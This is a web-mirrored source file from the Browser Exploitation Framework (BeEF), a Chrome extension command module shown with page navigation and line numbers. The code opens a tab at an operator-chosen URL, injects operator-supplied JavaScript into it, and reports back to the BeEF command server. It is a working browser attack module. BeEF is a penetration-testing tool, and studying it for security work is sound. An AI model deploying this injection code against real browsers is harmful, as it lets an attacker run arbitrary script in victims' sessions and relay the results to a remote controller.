Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/chrome_extensions/execute_tabs/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
try{
9
chrome.tabs.create({url:"<%= @url %>"}, function(tab){
10
chrome.tabs.executeScript(tab.id,{code:"<%= @theJS %>"}, function(){
11
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'Code executed on tab.id: ' + tab.id);
12
});
13
});
14
} catch(error){
15
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'Not inside of a Chrome Extension');
16
}
17
});
18
19
20